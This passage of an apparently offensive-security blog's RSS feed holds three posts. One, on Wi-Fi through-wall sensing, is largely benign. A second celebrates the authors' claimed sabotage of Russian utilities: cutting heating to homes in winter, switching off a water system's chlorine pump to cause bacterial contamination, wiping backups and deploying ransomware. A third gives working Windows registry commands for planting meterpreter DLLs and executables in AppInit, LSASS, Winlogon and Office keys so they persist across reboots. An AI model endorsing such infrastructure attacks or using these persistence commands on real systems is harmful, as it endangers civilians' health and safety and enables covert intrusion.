  1800. <li><strong>Privacy:</strong> This technology raises major privacy concerns—anyone with the right tools could potentially “see” through your walls.</li>
  1801.  
  1802.  
  1803.  
  1804. <li><strong>Legality:</strong> Unauthorized use of such technology may violate laws or regulations.</li>
  1805. </ul>
  1806.  
  1807.  
  1808.  
  1809. <h2 class="wp-block-heading has-large-font-size">Real-World Applications</h2>
  1810.  
  1811.  
  1812.  
  1813. <ul class="wp-block-list">
  1814. <li><strong>Security:</strong> Detecting intruders or monitoring restricted areas. Companies like TruShield are offering commercial home security systems based upon this technology.</li>
  1815.  
  1816.  
  1817.  
  1818. <li><strong>Elder Care:</strong> Monitoring movement for safety without cameras.</li>
  1819.  
  1820.  
  1821.  
  1822. <li><strong>Smart Homes:</strong> Automating lighting or HVAC based on occupancy.</li>
  1823.  
  1824.  
  1825.  
  1826. <li><strong>Law Enforcement</strong>: Law enforcement agencies can detect and track suspects in their homes</li>
  1827.  
  1828.  
  1829.  
  1830. <li><strong>Intelligence Agencies</strong>: Can Use this technology to track spies or other suspects.</li>
  1831. </ul>
  1832.  
  1833.  
  1834.  
  1835. <h2 class="wp-block-heading">Summary</h2>
  1836.  
  1837.  
  1838.  
  1839. <p>Wi-Fi sensing is a powerful, rapidly advancing field. With basic hardware (HackRF) and open-source tools, it’s possible to experiment with through-wall detection. This opens a whole new horizon in Wi-Fi Hacking and SDR for Hackers.</p>
  1840.  
  1841.  
  1842.  
  1843. <p>For more on this technology, attend our upcoming Wi-Fi Hacking training, July 22-24. If you are interested in building this device, look for our 2026 SDR for Hackers training.</p>
  1844.  
  1845.  
  1846.  
  1847. <p>As always, use this knowledge responsibly and be aware of the ethical and legal implications.</p>
  1848.  
  1849.  
  1850.  
  1851. <h2 class="wp-block-heading" id="trushield-hacking-the-airwaves-for-home-security"></h2>
  1852.  
  1853.  
  1854.  
  1855. <h2 class="wp-block-heading"></h2>
  1856.  
  1857.  
  1858.  
  1859. <p></p>
  1860.  
  1861.  
  1862.  
  1863. <p></p><p>The post <a href="https://hackers-arise.com/can-hackers-see-inside-your-home-using-wi-fi-to-tr/">Can Hackers “See” Inside Your Home Using Wi-Fi to Track Your Location and Movement?</a> first appeared on <a href="https://hackers-arise.com">Hackers Arise</a>.</p>]]></content:encoded>
  1864. <wfw:commentRss>https://hackers-arise.com/can-hackers-see-inside-your-home-using-wi-fi-to-tr/feed/</wfw:commentRss>
  1865. <slash:comments>0</slash:comments>
  1866. </item>
  1867. <item>
  1868. <title>SCADA Hacking: Inside Russian Facilities, Part 4</title>
  1869. <link>https://hackers-arise.com/scada-hacking-inside-russian-facilities-part-4/</link>
  1870. <comments>https://hackers-arise.com/scada-hacking-inside-russian-facilities-part-4/#respond</comments>
  1871. <dc:creator><![CDATA[Co11ateral]]></dc:creator>
  1872. <pubDate>Wed, 10 Sep 2025 02:02:32 +0000</pubDate>
  1873. <category><![CDATA[Uncategorized]]></category>
  1874. <guid isPermaLink="false">https://hackers-arise.com/?p=16060</guid>
  1875.  
  1876. <description><![CDATA[<p>Part 4 – Cyber Cossacks Ops Welcome back, cyberwarriors. In Part 4 we dig deeper into operations by The Cyber Cossacks alongside other Ukrainian hacker units. We’ll expand on the companies we hit, their backgrounds and how we exploited their SCADA environments. Golfstream – St. Petersburg, Russia OOO Golfstream is one of the leading housing [&#8230;]</p>
  1877. <p>The post <a href="https://hackers-arise.com/scada-hacking-inside-russian-facilities-part-4/">SCADA Hacking: Inside Russian Facilities, Part 4</a> first appeared on <a href="https://hackers-arise.com">Hackers Arise</a>.</p>]]></description>
  1878. <content:encoded><![CDATA[<p></p>
  1879.  
  1880.  
  1881.  
  1882. <figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="683" src="https://hackers-arise.com/wp-content/uploads/2025/07/banner-7-1024x683.webp" alt="" class="wp-image-16063" srcset="https://hackers-arise.com/wp-content/uploads/2025/07/banner-7-1024x683.webp 1024w, https://hackers-arise.com/wp-content/uploads/2025/07/banner-7-300x200.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/07/banner-7-768x512.webp 768w, https://hackers-arise.com/wp-content/uploads/2025/07/banner-7.webp 1536w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
  1883.  
  1884.  
  1885.  
  1886. <p></p>
  1887.  
  1888.  
  1889.  
  1890. <h2 class="wp-block-heading"><strong>Part 4 – Cyber Cossacks Ops</strong></h2>
  1891.  
  1892.  
  1893.  
  1894. <p>Welcome back, cyberwarriors. In Part 4 we dig deeper into operations by The Cyber Cossacks alongside other Ukrainian hacker units. We’ll expand on the companies we hit, their backgrounds and how we exploited their SCADA environments.</p>
  1895.  
  1896.  
  1897.  
  1898. <h2 class="wp-block-heading"><a></a><strong>Golfstream – St. Petersburg, Russia</strong></h2>
  1899.  
  1900.  
  1901.  
  1902. <p>OOO Golfstream is one of the leading housing and utilities integrators in St. Petersburg. They hold long-term service contracts with multiple municipal districts: Vasileostrovsky, Petrogradsky, and Krasnogvardeysky. Their core services include district heating management, central pump station monitoring, pressure regulation, and emergency response valves in hundreds of residential complexes and several municipal office buildings. Golfstream’s annual revenue exceeds 1.2 billion rubles, and they maintain service-level agreements guaranteeing at least 99 percent heating uptime.</p>
  1903.  
  1904.  
  1905.  
  1906. <p></p>
  1907.  
  1908.  
  1909.  
  1910. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="800" height="533" src="https://hackers-arise.com/wp-content/uploads/2025/07/1-golfstream-company.webp" alt="" class="wp-image-16064" srcset="https://hackers-arise.com/wp-content/uploads/2025/07/1-golfstream-company.webp 800w, https://hackers-arise.com/wp-content/uploads/2025/07/1-golfstream-company-300x200.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/07/1-golfstream-company-768x512.webp 768w" sizes="(max-width: 800px) 100vw, 800px" /></figure>
  1911.  
  1912.  
  1913.  
  1914. <p></p>
  1915.  
  1916.  
  1917.  
  1918. <p>In December, we pivoted into the internal SCADA VLAN using a workstation that had outbound SMB access. Then, we crafted a script to override boiler ignition commands, shutting down circulation pumps one district at a time. Over three consecutive nights, residential temperatures dipped below 5 °C.</p>
  1919.  
  1920.  
  1921.  
  1922. <p></p>
  1923.  
  1924.  
  1925.  
  1926. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="800" height="626" src="https://hackers-arise.com/wp-content/uploads/2025/07/2-gofstream-scada-1.webp" alt="" class="wp-image-16065" srcset="https://hackers-arise.com/wp-content/uploads/2025/07/2-gofstream-scada-1.webp 800w, https://hackers-arise.com/wp-content/uploads/2025/07/2-gofstream-scada-1-300x235.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/07/2-gofstream-scada-1-768x601.webp 768w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption class="wp-element-caption">Human-Machine Interface screen from the heating system</figcaption></figure>
  1927.  
  1928.  
  1929.  
  1930. <p></p>
  1931.  
  1932.  
  1933.  
  1934. <p>Their IT team spent hours chasing network errors. On the fourth day, before our final shutdown, we encrypted OS volumes on all SCADA hosts. Boiler control HMIs failed to start, leaving many without heat. The total financial loss, including emergency generators and housing compensation, is yet unknown.</p>
  1935.  
  1936.  
  1937.  
  1938. <p></p>
  1939.  
  1940.  
  1941.  
  1942. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="800" height="493" src="https://hackers-arise.com/wp-content/uploads/2025/07/3-golfstream-scada-2.webp" alt="" class="wp-image-16066" srcset="https://hackers-arise.com/wp-content/uploads/2025/07/3-golfstream-scada-2.webp 800w, https://hackers-arise.com/wp-content/uploads/2025/07/3-golfstream-scada-2-300x185.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/07/3-golfstream-scada-2-768x473.webp 768w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption class="wp-element-caption">Boiler System Overview</figcaption></figure>
  1943.  
  1944.  
  1945.  
  1946. <p></p>
  1947.  
  1948.  
  1949.  
  1950. <h2 class="wp-block-heading"><strong>Water Utility – Drozhannoe, Republic of Tatarstan</strong></h2>
  1951.  
  1952.  
  1953.  
  1954. <p>Drozhannoe is a rural settlement located 90 km northeast of Kazan. The local economy revolves around grain farming, dairy production, and small-scale poultry operations. The village council outsources the management of water wells to an external utility company.</p>
  1955.  
  1956.  
  1957.  
  1958. <p></p>
  1959.  
  1960.  
  1961.  
  1962. <figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="410" src="https://hackers-arise.com/wp-content/uploads/2025/07/4-drozhannoe-municipal-building-1024x410.webp" alt="" class="wp-image-16067" srcset="https://hackers-arise.com/wp-content/uploads/2025/07/4-drozhannoe-municipal-building-1024x410.webp 1024w, https://hackers-arise.com/wp-content/uploads/2025/07/4-drozhannoe-municipal-building-300x120.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/07/4-drozhannoe-municipal-building-768x307.webp 768w, https://hackers-arise.com/wp-content/uploads/2025/07/4-drozhannoe-municipal-building.webp 1280w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
  1963.  
  1964.  
  1965.  
  1966. <p></p>
  1967.  
  1968.  
  1969.  
  1970. <p>The Drozhannoe water system relies on a few aging control devices running outdated software. Data from the system, such as water flow and treatment levels is sent to a basic interface with limited security.</p>
  1971.  
  1972.  
  1973.  
  1974. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="935" height="507" src="https://hackers-arise.com/wp-content/uploads/2025/07/5-drozhannoe-scada.webp" alt="" class="wp-image-16068" srcset="https://hackers-arise.com/wp-content/uploads/2025/07/5-drozhannoe-scada.webp 935w, https://hackers-arise.com/wp-content/uploads/2025/07/5-drozhannoe-scada-300x163.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/07/5-drozhannoe-scada-768x416.webp 768w" sizes="(max-width: 935px) 100vw, 935px" /><figcaption class="wp-element-caption"><strong>Liquid</strong> storage and pumping control system with the chlorine pump (shown with the X) off</figcaption></figure>
  1975.  
  1976.  
  1977.  
  1978. <p></p>
  1979.  
  1980.  
  1981.  
  1982. <p>After gaining access to it, we modified dosing parameters, shutting off the chlorine pump. Our goal was bacterial contamination, that would force the council to close wells and distribute bottled water from Kazan. Seeing the service provider trying to fix this issue, we wiped the system along with the hard drives that stored backups.</p>
  1983.  
  1984.  
  1985.  
  1986. <h2 class="wp-block-heading"><a></a><strong>Polykod – Moscow, Russia</strong></h2>
  1987.  
  1988.  
  1989.  
  1990. <p>Polykod is a mid-sized engineering firm with 450 employees and annual revenue of 3 billion rubles. They specialize in SCADA and DCS systems for oil and gas clients, including major projects for Gazprom, Lukoil, and Tatneft. Their portfolio has remote well monitoring, pipeline pump station automation, and compressor station control across Siberia and the Volga region. The company maintains their network operations center in Moscow’s Presnensky District.<br></p>
  1991.  
  1992.  
  1993.  
  1994. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="800" height="534" src="https://hackers-arise.com/wp-content/uploads/2025/07/6-polykov-drilling-station.webp" alt="" class="wp-image-16069" srcset="https://hackers-arise.com/wp-content/uploads/2025/07/6-polykov-drilling-station.webp 800w, https://hackers-arise.com/wp-content/uploads/2025/07/6-polykov-drilling-station-300x200.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/07/6-polykov-drilling-station-768x513.webp 768w" sizes="(max-width: 800px) 100vw, 800px" /></figure>
  1995.  
  1996.  
  1997.  
  1998. <p></p>
  1999.  
  2000.  
  2001.  
  2002. <p>During reconnaissance on Shodan, we found Polykod running outdated software with an authentication bypass. We exploited that to drop a stager, then harvested service account hashes used across their environment. With those hashes, we gained access to a few SCADA servers and moved laterally through the corporate network. In just a few days, we were able to connect to and interact with four computer systems at distant drilling sites.</p>
  2003.  
  2004.  
  2005.  
  2006. <p></p>
  2007.  
  2008.  
  2009.  
  2010. <figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="532" src="https://hackers-arise.com/wp-content/uploads/2025/07/7-polykov-project-1-1024x532.webp" alt="" class="wp-image-16070" srcset="https://hackers-arise.com/wp-content/uploads/2025/07/7-polykov-project-1-1024x532.webp 1024w, https://hackers-arise.com/wp-content/uploads/2025/07/7-polykov-project-1-300x156.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/07/7-polykov-project-1-768x399.webp 768w, https://hackers-arise.com/wp-content/uploads/2025/07/7-polykov-project-1.webp 1200w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption class="wp-element-caption">3D geological model showing well placements</figcaption></figure>
  2011.  
  2012.  
  2013.  
  2014. <p></p>
  2015.  
  2016.  
  2017.  
  2018. <p>When we got into the system, we changed the settings that control how fast the pumps run. This caused sudden spikes in pressure, which triggered safety systems to shut things down. The drilling teams saw pumps stopping for no clear reason and had to deal with emergency shutdowns. Alarms went off, and engineers had to take over control manually. The goal was simply to cause havoc. Then one morning, we erased key control servers and installed ransomware that locked out both Polykod employees and their clients.</p>
  2019.  
  2020.  
  2021.  
  2022. <p></p>
  2023.  
  2024.  
  2025.  
  2026. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="800" height="395" src="https://hackers-arise.com/wp-content/uploads/2025/07/8-polykod-drilling-project-2.webp" alt="" class="wp-image-16071" srcset="https://hackers-arise.com/wp-content/uploads/2025/07/8-polykod-drilling-project-2.webp 800w, https://hackers-arise.com/wp-content/uploads/2025/07/8-polykod-drilling-project-2-300x148.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/07/8-polykod-drilling-project-2-768x379.webp 768w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption class="wp-element-caption">Pump management showing pressure rates</figcaption></figure>
  2027.  
  2028.  
  2029.  
  2030. <p></p>
  2031.  
  2032.  
  2033.  
  2034. <figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="543" src="https://hackers-arise.com/wp-content/uploads/2025/07/9-polykod-drilling-station-scada-1024x543.webp" alt="" class="wp-image-16072" srcset="https://hackers-arise.com/wp-content/uploads/2025/07/9-polykod-drilling-station-scada-1024x543.webp 1024w, https://hackers-arise.com/wp-content/uploads/2025/07/9-polykod-drilling-station-scada-300x159.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/07/9-polykod-drilling-station-scada-768x407.webp 768w, https://hackers-arise.com/wp-content/uploads/2025/07/9-polykod-drilling-station-scada.webp 1280w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption class="wp-element-caption">Drilling rig monitoring system showing RPM at 0</figcaption></figure>
  2035.  
  2036.  
  2037.  
  2038. <p></p>
  2039.  
  2040.  
  2041.  
  2042. <h2 class="wp-block-heading"><strong>Conclusion</strong></h2>
  2043.  
  2044.  
  2045.  
  2046. <p>Essential services like water, heating, and oil rely on SCADA systems that, if compromised, can shut down communities or disrupt energy supplies. Thankfully, Russians don&#8217;t bother with enforcing regular updates, better network design and constant monitoring, so these systems will stay vulnerable to future attacks.</p>
  2047.  
  2048.  
  2049.  
  2050. <p></p><p>The post <a href="https://hackers-arise.com/scada-hacking-inside-russian-facilities-part-4/">SCADA Hacking: Inside Russian Facilities, Part 4</a> first appeared on <a href="https://hackers-arise.com">Hackers Arise</a>.</p>]]></content:encoded>
  2051. <wfw:commentRss>https://hackers-arise.com/scada-hacking-inside-russian-facilities-part-4/feed/</wfw:commentRss>
  2052. <slash:comments>0</slash:comments>
  2053. </item>
  2054. <item>
  2055. <title>Advanced Windows Persistence, Part 2: Using the Registry to Maintain Persistence</title>
  2056. <link>https://hackers-arise.com/advanced-windows-persistence-part-2-using-the-registry-to-maintain-persistence/</link>
  2057. <dc:creator><![CDATA[Co11ateral]]></dc:creator>
  2058. <pubDate>Tue, 09 Sep 2025 15:07:45 +0000</pubDate>
  2059. <category><![CDATA[Command and Control (C2)]]></category>
  2060. <category><![CDATA[Cyberwar]]></category>
  2061. <category><![CDATA[Cyberwarrior]]></category>
  2062. <category><![CDATA[Metasploit]]></category>
  2063. <category><![CDATA[Powershell]]></category>
  2064. <category><![CDATA[Windows]]></category>
  2065. <category><![CDATA[advanced persistence]]></category>
  2066. <category><![CDATA[AppInit DLL injection]]></category>
  2067. <category><![CDATA[cyberwarfare]]></category>
  2068. <category><![CDATA[HACKING]]></category>
  2069. <category><![CDATA[HKCU persistence]]></category>
  2070. <category><![CDATA[LSASS persistence]]></category>
  2071. <category><![CDATA[offensive security]]></category>
  2072. <category><![CDATA[Office registry keys]]></category>
  2073. <category><![CDATA[post-exploitation]]></category>
  2074. <category><![CDATA[privilege abuse]]></category>
  2075. <category><![CDATA[reboot survival]]></category>
  2076. <category><![CDATA[red team tactics]]></category>
  2077. <category><![CDATA[registry persistence]]></category>
  2078. <category><![CDATA[stealth backdoors]]></category>
  2079. <category><![CDATA[Windows persistence]]></category>
  2080. <category><![CDATA[Winlogon hijack]]></category>
  2081. <guid isPermaLink="false">https://hackers-arise.com/?p=17878</guid>
  2082.  
  2083. <description><![CDATA[<p>Learn registry-based Windows persistence with AppInit DLLs, LSASS packages, Winlogon hijacks, and Office keys. These methods survive reboots.</p>
  2084. <p>The post <a href="https://hackers-arise.com/advanced-windows-persistence-part-2-using-the-registry-to-maintain-persistence/">Advanced Windows Persistence, Part 2: Using the Registry to Maintain Persistence</a> first appeared on <a href="https://hackers-arise.com">Hackers Arise</a>.</p>]]></description>
  2085. <content:encoded><![CDATA[<p>Welcome back, aspiring cyberwarriors! </p>
  2086.  
  2087.  
  2088.  
  2089. <p>Persistence on Windows systems has always been a cat-and-mouse game between attackers looking for reliable footholds and defenders trying to close down avenues of abuse. Windows itself provides a wide range of mechanisms that are legitimate parts of system functionality, yet each of them can be turned into a way of ensuring malicious code runs again and again after reboot or logon. Registry values, system processes, and initialization routines are all potential targets for persistence, and while most of them were never designed with security in mind, they remain available today. What makes them attractive is durability: once configured, they survive restarts and provide repeated execution opportunities without requiring the attacker to manually re-enter the environment. </p>
  2090.  
  2091.  
  2092.  
  2093. <p>The techniques described here are all examples of registry-based persistence, each with its own advantages, drawbacks, and detection footprints. Understanding them is crucial for both attackers who rely on stability and defenders who need to spot tampering before it causes damage.</p>
  2094.  
  2095.  
  2096.  
  2097. <h2 class="wp-block-heading"><strong>AppInit</strong></h2>
  2098.  
  2099.  
  2100.  
  2101. <p>AppInit is a legacy Windows feature that tells the OS loader to map one or more DLLs into any process that links user32.dll. That means when many GUI apps start, Windows will automatically load the DLLs listed in that registry value, giving whatever code is inside those DLLs a chance to run inside those processes. It’s a registry-based, machine-wide mechanism that survives reboot and affects both 32-bit and 64-bit GUI applications when configured.</p>
  2102.  
  2103.  
  2104.  
  2105. <p><code>cmd#&gt; reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t reg_dword /d 0x1 /f</code></p>
  2106.  
  2107.  
  2108.  
  2109. <p><code>cmd#&gt; reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t reg_sz /d "C:\meter64.dll" /f</code></p>
  2110.  
  2111.  
  2112.  
  2113. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="970" height="174" src="https://hackers-arise.com/wp-content/uploads/2025/09/1-appinit-persistence-technique.webp" alt="AppInit windows persistence technique" class="wp-image-17879" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/1-appinit-persistence-technique.webp 970w, https://hackers-arise.com/wp-content/uploads/2025/09/1-appinit-persistence-technique-300x54.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/1-appinit-persistence-technique-768x138.webp 768w" sizes="(max-width: 970px) 100vw, 970px" /></figure>
  2114.  
  2115.  
  2116.  
  2117. <p><code>cmd#&gt; reg add "HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t reg_dword /d 0x1 /f</code></p>
  2118.  
  2119.  
  2120.  
  2121. <p><code>cmd#&gt; reg add "HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t reg_sz /d "C:\meter32.dll" /f</code></p>
  2122.  
  2123.  
  2124.  
  2125. <p>The first command turns the AppInit behavior on for the 64-bit registry view. The second command writes the path to the DLL(s) that Windows should try to load into GUI processes (this value is a string of one or more DLL paths). The next two commands do the same thing for the 32-bit registry view on a 64-bit system. First it will enable the mechanism for 32-bit processes, and then set the 32-bit DLL path.</p>
  2126.  
  2127.  
  2128.  
  2129. <p>In plain terms: enable AppInit, tell Windows which DLLs to load, and do it for both 64-bit and 32-bit processes so GUI apps of both architectures will load the specified libraries.</p>
  2130.  
  2131.  
  2132.  
  2133. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="997" height="144" src="https://hackers-arise.com/wp-content/uploads/2025/09/2-appinit-persistence-connection-received.webp" alt="AppInit persistence initiated a connection back" class="wp-image-17880" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/2-appinit-persistence-connection-received.webp 997w, https://hackers-arise.com/wp-content/uploads/2025/09/2-appinit-persistence-connection-received-300x43.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/2-appinit-persistence-connection-received-768x111.webp 768w" sizes="(max-width: 997px) 100vw, 997px" /></figure>
  2134.  
  2135.  
  2136.  
  2137. <p><strong>Pros:</strong> survives reboots and causes the DLL to be loaded into many GUI processes automatically, giving broad coverage without per-user startup entries.</p>
  2138.  
  2139.  
  2140.  
  2141. <p><strong>Cons:</strong> requires administrative rights to change HKLM, is noisy because the DLL will appear loaded in many processes (creating strong telemetry), and relies on an older, well-known mechanism that defenders often check.</p>
  2142.  
  2143.  
  2144.  
  2145. <p>If you’re a defender, focus on auditing the HKLM Windows keys (including the Wow6432Node path) and monitoring unusual DLL loads into system or common GUI processes.</p>
  2146.  
  2147.  
  2148.  
  2149. <h2 class="wp-block-heading"><strong>LSASS</strong></h2>
  2150.  
  2151.  
  2152.  
  2153. <p>Modifying LSASS’s configuration to load an extra DLL is a way to get code executed inside a highly privileged, long-lived system process. LSASS is responsible for enforcing security policy and handling credentials. Because it loads configured authentication/notification packages at startup, adding an entry here causes the chosen module to be loaded into that process and remain active across reboots. That makes it powerful, but dangerous.</p>
  2154.  
  2155.  
  2156.  
  2157. <p><code>cmd#&gt; reg add "HKLM\system\currentcontrolset\control\lsa" /v "Notification Packages" /t reg_multi_sz /d "rassfm\0scecli\0meter" /f</code></p>
  2158.  
  2159.  
  2160.  
  2161. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="961" height="116" src="https://hackers-arise.com/wp-content/uploads/2025/09/3-lsass-persistence-technique.webp" alt="LSASS windows peristence technique" class="wp-image-17881" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/3-lsass-persistence-technique.webp 961w, https://hackers-arise.com/wp-content/uploads/2025/09/3-lsass-persistence-technique-300x36.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/3-lsass-persistence-technique-768x93.webp 768w" sizes="(max-width: 961px) 100vw, 961px" /></figure>
  2162.  
  2163.  
  2164.  
  2165. <p>The registry command updates <strong>Notification Packages</strong> multi-string under the LSA key. In simple terms, this line tells Windows “when LSASS starts, also load the packages named <code>rassfm</code>, <code>scecli</code>, <code>meter</code> and force the write if the value already exists.&#8221;</p>
  2166.  
  2167.  
  2168.  
  2169. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="903" height="142" src="https://hackers-arise.com/wp-content/uploads/2025/09/4-lsass-connection-received-1.webp" alt="LSASS  persistence initiated a connection back" class="wp-image-17888" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/4-lsass-connection-received-1.webp 903w, https://hackers-arise.com/wp-content/uploads/2025/09/4-lsass-connection-received-1-300x47.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/4-lsass-connection-received-1-768x121.webp 768w" sizes="(max-width: 903px) 100vw, 903px" /></figure>
  2170.  
  2171.  
  2172.  
  2173. <p><strong>Pros:</strong> survives reboots and places code inside a long-running, high-privilege process, making the persistence both durable and powerful.</p>
  2174.  
  2175.  
  2176.  
  2177. <p><strong>Cons:</strong> requires administrative privileges to change the LSA registry, produces extremely high-risk telemetry and stability impact (misconfiguration or a buggy module can crash LSASS and destabilize or render the system unusable), and it is highly suspicious to defenders.</p>
  2178.  
  2179.  
  2180.  
  2181. <p>Putting code into LSASS buys durability and access to sensitive material, but it is one of the loudest and riskiest persistence techniques: it demands admin rights, creates strong signals for detection, and can crash the machine if done incorrectly.</p>
  2182.  
  2183.  
  2184.  
  2185. <h2 class="wp-block-heading"><strong>W</strong>inlogon</h2>
  2186.  
  2187.  
  2188.  
  2189. <p>Winlogon is the component that handles interactive user logons, and it calls the program(s) listed in the <code>UserInit</code> registry value after authentication completes. By appending an additional executable to that <code>UserInit</code> string you ensure your program is launched automatically every time someone signs in interactively.&nbsp;</p>
  2190.  
  2191.  
  2192.  
  2193. <p><code>cmd#&gt; reg add "HKLM\software\microsoft\windows nt\currentversion\winlogon" /v UserInit /t reg_sz /d "c:\windows\system32\userinit.exe, c:\meter.exe"</code></p>
  2194.  
  2195.  
  2196.  
  2197. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="970" height="192" src="https://hackers-arise.com/wp-content/uploads/2025/09/5-winlogon-persistence-technique.webp" alt="Winlogon persistence technique" class="wp-image-17884" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/5-winlogon-persistence-technique.webp 970w, https://hackers-arise.com/wp-content/uploads/2025/09/5-winlogon-persistence-technique-300x59.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/5-winlogon-persistence-technique-768x152.webp 768w" sizes="(max-width: 970px) 100vw, 970px" /></figure>
  2198.  
  2199.  
  2200.  
  2201. <p>This keeps the normal <code>userinit.exe</code> first and appends <code>c:\meter.exe</code>, so when Winlogon runs it will launch <code>userinit.exe</code> and then <code>meter.exe</code> as part of the logon sequence. Be aware that <code>UserInit</code> must include the legitimate <code>userinit.exe</code> path first. Removing or misordering it can break interactive logons and lock users out.</p>
  2202.  
  2203.  
  2204.  
  2205. <figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="139" src="https://hackers-arise.com/wp-content/uploads/2025/09/6-winlogon-persistence-connection-received-1024x139.webp" alt="Winlogon persistence initiated a connection back" class="wp-image-17885" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/6-winlogon-persistence-connection-received-1024x139.webp 1024w, https://hackers-arise.com/wp-content/uploads/2025/09/6-winlogon-persistence-connection-received-300x41.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/6-winlogon-persistence-connection-received-768x104.webp 768w, https://hackers-arise.com/wp-content/uploads/2025/09/6-winlogon-persistence-connection-received.webp 1064w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
  2206.  
  2207.  
  2208.  
  2209. <p><strong>Pros:</strong> survives reboots and reliably executes at every interactive user logon, giving consistent persistence across sessions.</p>
  2210.  
  2211.  
  2212.  
  2213. <p><strong>Cons:</strong> requires administrative privileges to change HKLM, offers no scheduling control (it only runs at logon), and is risky, since misconfiguring the UserInit value can prevent users from logging in and produces obvious forensic signals.</p>
  2214.  
  2215.  
  2216.  
  2217. <h2 class="wp-block-heading">Microsoft <strong>Office</strong></h2>
  2218.  
  2219.  
  2220.  
  2221. <p>Many Office components read configuration from the current user’s registry hive, and attackers can abuse that by inserting a path or DLL name that Office will load or reference when the user runs the suite. This approach is per-user and survives reboots because the configuration is stored in HKCU, but it only triggers when the victim actually launches the Office component that reads that key. It’s useful when the target regularly uses Office and you want a simple, low-privilege persistence mechanism that doesn’t require installing a service or touching machine-wide autoruns.</p>
  2222.  
  2223.  
  2224.  
  2225. <p><code>cmd$&gt; reg add "HKCU\Software\Microsoft\Office test\Special\Perf" /t REG_SZ /d C:\meter.dll</code></p>
  2226.  
  2227.  
  2228.  
  2229. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="795" height="140" src="https://hackers-arise.com/wp-content/uploads/2025/09/7-office-persistence-technique.webp" alt="Microsoft Office windows persistence technique" class="wp-image-17886" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/7-office-persistence-technique.webp 795w, https://hackers-arise.com/wp-content/uploads/2025/09/7-office-persistence-technique-300x53.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/7-office-persistence-technique-768x135.webp 768w" sizes="(max-width: 795px) 100vw, 795px" /></figure>
  2230.  
  2231.  
  2232.  
  2233. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="903" height="171" src="https://hackers-arise.com/wp-content/uploads/2025/09/8-office-persistence-connection-received.webp" alt="Microsoft Office persistence initiated a connection back" class="wp-image-17887" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/8-office-persistence-connection-received.webp 903w, https://hackers-arise.com/wp-content/uploads/2025/09/8-office-persistence-connection-received-300x57.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/8-office-persistence-connection-received-768x145.webp 768w" sizes="(max-width: 903px) 100vw, 903px" /></figure>
  2234.  
  2235.  
  2236.  
  2237. <p><strong>Pros:</strong> survives reboots and works from a normal user account because it lives in HKCU, so no administrative rights are required.</p>
  2238.  
  2239.  
  2240.  
  2241. <p><strong>Cons:</strong> there’s no scheduling control, it only triggers when the user launches the relevant Office component, so you cannot control an execution interval.</p>
  2242.  
  2243.  
  2244.  
  2245. <h2 class="wp-block-heading"><strong>Summary</strong></h2>
  2246.  
  2247.  
  2248.  
